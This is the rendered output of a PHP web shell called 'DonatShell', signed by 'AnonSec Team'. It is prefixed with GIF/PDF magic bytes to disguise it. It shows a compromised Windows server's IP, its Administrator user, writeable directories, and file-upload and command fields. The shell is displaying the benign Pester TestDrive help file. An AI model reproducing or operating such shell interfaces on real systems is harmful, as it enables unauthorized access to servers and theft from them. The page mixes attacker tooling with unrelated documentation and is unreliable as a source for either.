GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/WindowsPowerShell/Modules/Pester/3.4.0/en-US/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Program Files/WindowsPowerShell/Modules/Pester/3.4.0/en-US/about_TestDrive.help.txt
TOPIC
	TestDrive

SYNOPSIS
	A PSDrive for file activity limited to the scope of a singe Describe or 
	Context block.

DESCRIPTION	
	A test may need to work with file operations and validate certain types of 
	file activities. It is usually desirable not to perform file activity tests 
	that will produce side effects outside of an individual test. Pester 
	creates a PSDrive inside the user's temporary drive that is accessible via a 
	names PSDrive TestDrive:. Pester will remove this drive after the test 
	completes. You may use this drive to isolate the file operations of your 
	test to a temporary store.

EXAMPLE
	function Add-Footer($path, $footer) {
	    Add-Content $path -Value $footer
	}

	Describe "Add-Footer" {
	    $testPath="TestDrive:\test.txt"
	    Set-Content $testPath -value "my test text."
	    Add-Footer $testPath "-Footer"
	    $result = Get-Content $testPath

	    It "adds a footer" {
	        (-join $result).Should.Be("my test text.-Footer")
	    }
	}
	
	When this test completes, the contents of the TestDrive PSDrive will 
	be removed.

SEE ALSO
	Context
	Describe
	It
	about_Should

Anon7 - 2022
AnonSec Team